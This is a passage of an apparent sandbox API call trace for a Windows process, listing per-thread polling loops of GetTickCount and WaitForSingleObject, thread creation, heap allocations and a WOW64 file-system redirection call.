	[0252.750] GetTickCount () returned 0x9137
	[0252.750] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0252.908] GetTickCount () returned 0x91d3
	[0252.908] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0253.044] GetTickCount () returned 0x924f
	[0253.044] GetTickCount () returned 0x924f
	[0253.044] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0253.237] GetTickCount () returned 0x930b
	[0253.237] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0253.348] GetTickCount () returned 0x9378
	[0253.348] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0253.582] GetTickCount () returned 0x9462
	[0253.582] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0253.790] GetTickCount () returned 0x952d
	[0253.790] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0253.927] GetTickCount () returned 0x95a9
	[0253.927] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0254.307] GetTickCount () returned 0x9720
	[0254.309] GetTickCount () returned 0x9720
	[0254.313] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0254.459] GetTickCount () returned 0x97ac
	[0254.459] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0254.624] GetTickCount () returned 0x9848
	[0254.624] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0254.970] GetTickCount () returned 0x999f
	[0254.970] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0255.518] GetTickCount () returned 0x9bb2
	[0255.518] GetTickCount () returned 0x9bb2
	[0255.518] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0255.744] GetTickCount () returned 0x9c9c
	[0255.744] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0255.964] GetTickCount () returned 0x9d76
	[0255.964] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0256.096] GetTickCount () returned 0x9df3
	[0256.096] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0256.662] GetTickCount () returned 0xa015
	[0256.662] GetTickCount () returned 0xa015
	[0256.662] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0256.784] GetTickCount () returned 0xa092
	[0256.784] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0257.183] GetTickCount () returned 0xa218
	[0257.183] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0257.557] GetTickCount () returned 0xa37f
	[0257.557] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0257.738] GetTickCount () returned 0xa42a
	[0257.738] GetTickCount () returned 0xa42a
	[0257.738] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0258.100] GetTickCount () returned 0xa591
	[0258.100] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0258.260] GetTickCount () returned 0xa62d
	[0258.260] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0258.453] GetTickCount () returned 0xa6e8
	[0258.453] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0258.650] GetTickCount () returned 0xa7b3
	[0258.650] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0259.396] GetTickCount () returned 0xaa90
	[0259.396] GetTickCount () returned 0xaa90
	[0259.396] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0259.782] GetTickCount () returned 0xac16
	[0259.782] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0259.914] GetTickCount () returned 0xaca3
	[0259.914] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0260.170] GetTickCount () returned 0xad9c
	[0260.170] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0260.381] GetTickCount () returned 0xae77
	[0260.381] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0260.734] GetTickCount () returned 0xafce
	[0260.734] GetTickCount () returned 0xafce
	[0260.734] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0261.273] GetTickCount () returned 0xb1f0
	[0261.273] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0261.569] GetTickCount () returned 0xb318
	[0261.569] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0261.770] GetTickCount () returned 0xb3e3
	[0261.770] GetTickCount () returned 0xb3e3
	[0261.770] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0261.975] GetTickCount () returned 0xb4ae
	[0261.975] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0262.351] GetTickCount () returned 0xb624
	[0262.351] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0262.628] GetTickCount () returned 0xb73d
	[0262.628] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0262.899] GetTickCount () returned 0xb846
	[0262.899] GetTickCount () returned 0xb846
	[0262.899] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0263.320] GetTickCount () returned 0xb9eb
	[0263.320] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0263.812] GetTickCount () returned 0xbbcf
	[0263.812] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0263.935] GetTickCount () returned 0xbc4c
	[0263.936] GetTickCount () returned 0xbc4c
	[0263.936] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0264.221] GetTickCount () returned 0xbd74
	[0264.221] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0264.368] GetTickCount () returned 0xbe01
	[0264.369] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0264.565] GetTickCount () returned 0xbecb
	[0264.565] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0264.763] GetTickCount () returned 0xbf87
	[0264.763] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0265.046] GetTickCount () returned 0xc0af
	[0265.046] GetTickCount () returned 0xc0af
	[0265.046] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0265.253] GetTickCount () returned 0xc17a
	[0265.253] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0265.432] GetTickCount () returned 0xc225
	[0265.432] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0265.886] GetTickCount () returned 0xc3ea
	[0265.886] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0266.409] GetTickCount () returned 0xc5fc
	[0266.409] GetTickCount () returned 0xc5fc
	[0266.409] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0266.816] GetTickCount () returned 0xc792
	[0266.816] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0267.636] GetTickCount () returned 0xcacd
	[0267.636] GetTickCount () returned 0xcacd
	[0267.636] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0268.028] GetTickCount () returned 0xcc53
	[0268.028] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0268.413] GetTickCount () returned 0xcdc9
	[0268.413] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0268.669] GetTickCount () returned 0xced2
	[0268.669] GetTickCount () returned 0xced2
	[0268.669] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0269.241] GetTickCount () returned 0xd104
	[0269.241] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0269.479] GetTickCount () returned 0xd1fd
	[0269.479] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0269.932] GetTickCount () returned 0xd3c2
	[0269.932] GetTickCount () returned 0xd3c2
	[0269.932] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0270.242] GetTickCount () returned 0xd4fa
	[0270.242] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0270.902] GetTickCount () returned 0xd789
	[0270.902] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0271.101] GetTickCount () returned 0xd854
	[0271.101] GetTickCount () returned 0xd854
	[0271.101] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0271.526] GetTickCount () returned 0xd9f9
	[0271.526] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0271.750] GetTickCount () returned 0xdad3
	[0271.750] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0271.961] GetTickCount () returned 0xdbae
	[0271.961] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0272.340] GetTickCount () returned 0xdd24
	[0272.340] GetTickCount () returned 0xdd24
	[0272.342] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0272.718] GetTickCount () returned 0xde9b
	[0272.718] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0273.132] GetTickCount () returned 0xe040
	[0273.132] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0273.705] GetTickCount () returned 0xe281
	[0273.705] GetTickCount () returned 0xe281
	[0273.705] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0273.823] GetTickCount () returned 0xe2ee
	[0273.823] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0274.088] GetTickCount () returned 0xe3f7
	[0274.088] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0274.402] GetTickCount () returned 0xe52f
	[0274.402] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0274.656] GetTickCount () returned 0xe639
	[0274.656] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0274.971] GetTickCount () returned 0xe771
	[0274.971] GetTickCount () returned 0xe771
	[0274.971] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0275.235] GetTickCount () returned 0xe87a
	[0275.235] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0275.682] GetTickCount () returned 0xea2f
	[0275.682] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0275.979] GetTickCount () returned 0xeb57
	[0275.979] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0276.767] GetTickCount () returned 0xee73
	[0276.767] GetTickCount () returned 0xee73
	[0276.767] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0277.012] GetTickCount () returned 0xef6c
	[0277.012] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0277.269] GetTickCount () returned 0xf066
	[0277.269] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0277.409] GetTickCount () returned 0xf0f2
	[0277.409] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0277.722] GetTickCount () returned 0xf22a
	[0277.722] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102
	[0277.970] GetTickCount () returned 0xf324
	[0277.970] GetTickCount () returned 0xf324
	[0277.970] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) 

Thread:
	id = 91
	os_tid = 0x5d4

	[0248.550] GetTickCount () returned 0x80f1
	[0248.550] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x24) returned 0x4fb3b0
	[0248.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4fb3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c
	[0248.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4fb3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x164
	[0248.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4fb3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c
	[0248.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4fb3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x170
	[0248.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4ad0
	[0248.664] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4ad0, Size=0x20) returned 0x4d9cb8
	[0248.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4ad0
	[0248.664] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4ad0, Size=0x20) returned 0x4d9c90
	[0248.665] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0248.681] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0248.681] Wow64DisableWow64FsRedirection (in: OldValue=0x258ff84 | out: OldValue=0x258ff84*=0x0) returned 1
	[0248.681] lstrlenW (lpString="kernel32.dll") returned 12
	[0248.681] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9cb8 | out: hHeap=0x4a0000) returned 1
	[0248.681] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0248.681] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9c90 | out: hHeap=0x4a0000) returned 1
	[0248.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x522f88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x188
	[0248.691] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0249.064] GetTickCount () returned 0x82f4
	[0249.064] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0249.267] GetTickCount () returned 0x83bf
	[0249.267] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0249.513] GetTickCount () returned 0x84b9
	[0249.513] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0249.830] GetTickCount () returned 0x85e1
	[0249.831] GetTickCount () returned 0x85e1
	[0249.831] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0250.123] GetTickCount () returned 0x8709
	[0250.123] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0250.297] GetTickCount () returned 0x87b5
	[0250.297] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0250.523] GetTickCount () returned 0x889f
	[0250.524] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0250.853] GetTickCount () returned 0x89e7
	[0250.853] GetTickCount () returned 0x89e7
	[0250.853] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0251.096] GetTickCount () returned 0x8ae0
	[0251.096] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0251.341] GetTickCount () returned 0x8bca
	[0251.341] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0251.916] GetTickCount () returned 0x8e0b
	[0251.916] GetTickCount () returned 0x8e0b
	[0251.916] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0252.236] GetTickCount () returned 0x8f43
	[0252.237] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0252.611] GetTickCount () returned 0x90aa
	[0252.611] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0252.750] GetTickCount () returned 0x9137
	[0252.750] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0252.908] GetTickCount () returned 0x91d3
	[0252.908] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0253.044] GetTickCount () returned 0x924f
	[0253.044] GetTickCount () returned 0x924f
	[0253.045] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0253.237] GetTickCount () returned 0x930b
	[0253.237] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0253.348] GetTickCount () returned 0x9378
	[0253.348] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0253.582] GetTickCount () returned 0x9462
	[0253.582] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0253.790] GetTickCount () returned 0x952d
	[0253.790] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0253.927] GetTickCount () returned 0x95a9
	[0253.927] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0254.333] GetTickCount () returned 0x972f
	[0254.333] GetTickCount () returned 0x972f
	[0254.333] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0254.459] GetTickCount () returned 0x97ac
	[0254.460] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0254.624] GetTickCount () returned 0x9848
	[0254.624] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0254.970] GetTickCount () returned 0x999f
	[0254.970] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0255.518] GetTickCount () returned 0x9bb2
	[0255.518] GetTickCount () returned 0x9bb2
	[0255.518] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0255.744] GetTickCount () returned 0x9c9c
	[0255.744] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0255.965] GetTickCount () returned 0x9d76
	[0255.965] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0256.096] GetTickCount () returned 0x9df3
	[0256.096] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0256.662] GetTickCount () returned 0xa015
	[0256.662] GetTickCount () returned 0xa015
	[0256.662] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0256.784] GetTickCount () returned 0xa092
	[0256.784] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0257.183] GetTickCount () returned 0xa218
	[0257.183] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0257.557] GetTickCount () returned 0xa37f
	[0257.557] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0257.738] GetTickCount () returned 0xa42a
	[0257.738] GetTickCount () returned 0xa42a
	[0257.738] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0258.100] GetTickCount () returned 0xa591
	[0258.100] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0258.260] GetTickCount () returned 0xa62d
	[0258.260] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0258.453] GetTickCount () returned 0xa6e8
	[0258.453] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0258.650] GetTickCount () returned 0xa7b3
	[0258.650] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0259.396] GetTickCount () returned 0xaa90
	[0259.396] GetTickCount () returned 0xaa90
	[0259.396] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0259.782] GetTickCount () returned 0xac16
	[0259.782] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0259.914] GetTickCount () returned 0xaca3
	[0259.914] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0260.170] GetTickCount () returned 0xad9c
	[0260.170] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0260.381] GetTickCount () returned 0xae77
	[0260.381] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0260.734] GetTickCount () returned 0xafce
	[0260.734] GetTickCount () returned 0xafce
	[0260.734] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0261.273] GetTickCount () returned 0xb1f0
	[0261.273] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0261.564] GetTickCount () returned 0xb309
	[0261.566] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0261.770] GetTickCount () returned 0xb3e3
	[0261.770] GetTickCount () returned 0xb3e3
	[0261.770] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0261.975] GetTickCount () returned 0xb4ae
	[0261.975] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0262.351] GetTickCount () returned 0xb624
	[0262.351] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0262.628] GetTickCount () returned 0xb73d
	[0262.628] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0262.899] GetTickCount () returned 0xb846
	[0262.899] GetTickCount () returned 0xb846
	[0262.899] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0263.320] GetTickCount () returned 0xb9eb
	[0263.320] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0263.812] GetTickCount () returned 0xbbcf
	[0263.812] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0263.935] GetTickCount () returned 0xbc4c
	[0263.935] GetTickCount () returned 0xbc4c
	[0263.935] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0264.221] GetTickCount () returned 0xbd74
	[0264.221] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0264.368] GetTickCount () returned 0xbe01
	[0264.368] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0264.565] GetTickCount () returned 0xbecb
	[0264.565] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0264.762] GetTickCount () returned 0xbf87
	[0264.762] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0265.046] GetTickCount () returned 0xc0af
	[0265.046] GetTickCount () returned 0xc0af
	[0265.046] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0265.253] GetTickCount () returned 0xc17a
	[0265.253] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0265.432] GetTickCount () returned 0xc225
	[0265.432] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0265.886] GetTickCount () returned 0xc3ea
	[0265.886] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0266.409] GetTickCount () returned 0xc5fc
	[0266.409] GetTickCount () returned 0xc5fc
	[0266.409] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0266.816] GetTickCount () returned 0xc792
	[0266.816] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0267.636] GetTickCount () returned 0xcacd
	[0267.636] GetTickCount () returned 0xcacd
	[0267.636] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0268.028] GetTickCount () returned 0xcc53
	[0268.028] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0268.413] GetTickCount () returned 0xcdc9
	[0268.413] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0268.668] GetTickCount () returned 0xced2
	[0268.668] GetTickCount () returned 0xced2
	[0268.669] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0269.241] GetTickCount () returned 0xd104
	[0269.241] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0269.478] GetTickCount () returned 0xd1fd
	[0269.478] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0269.932] GetTickCount () returned 0xd3c2
	[0269.932] GetTickCount () returned 0xd3c2
	[0269.932] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0270.242] GetTickCount () returned 0xd4fa
	[0270.242] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0270.902] GetTickCount () returned 0xd789
	[0270.902] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0271.100] GetTickCount () returned 0xd854
	[0271.100] GetTickCount () returned 0xd854
	[0271.100] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0271.526] GetTickCount () returned 0xd9f9
	[0271.526] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0271.750] GetTickCount () returned 0xdad3
	[0271.750] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0271.961] GetTickCount () returned 0xdbae
	[0271.961] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0272.335] GetTickCount () returned 0xdd24
	[0272.336] GetTickCount () returned 0xdd24
	[0272.336] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0272.718] GetTickCount () returned 0xde9b
	[0272.718] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0273.132] GetTickCount () returned 0xe040
	[0273.132] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0273.705] GetTickCount () returned 0xe281
	[0273.705] GetTickCount () returned 0xe281
	[0273.705] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0273.823] GetTickCount () returned 0xe2ee
	[0273.823] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0274.088] GetTickCount () returned 0xe3f7
	[0274.088] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0274.402] GetTickCount () returned 0xe52f
	[0274.402] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0274.656] GetTickCount () returned 0xe639
	[0274.656] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0274.971] GetTickCount () returned 0xe771
	[0274.971] GetTickCount () returned 0xe771
	[0274.971] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0275.235] GetTickCount () returned 0xe87a
	[0275.235] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0275.680] GetTickCount () returned 0xea2f
	[0275.680] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0275.979] GetTickCount () returned 0xeb57
	[0275.979] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0276.767] GetTickCount () returned 0xee73
	[0276.767] GetTickCount () returned 0xee73
	[0276.767] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0277.012] GetTickCount () returned 0xef6c
	[0277.012] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0277.269] GetTickCount () returned 0xf066
	[0277.269] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0277.409] GetTickCount () returned 0xf0f2
	[0277.409] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0277.722] GetTickCount () returned 0xf22a
	[0277.722] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102
	[0277.970] GetTickCount () returned 0xf324
	[0277.970] GetTickCount () returned 0xf324
	[0277.970] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) 

Thread:
	id = 92
	os_tid = 0x5f4


Thread:
	id = 95
	os_tid = 0x670

	[0248.691] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x542fb0
	[0248.692] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x552fb8
	[0248.692] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4cf8
	[0248.692] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x521860
	[0248.692] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4d10
	[0248.692] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x37f0020
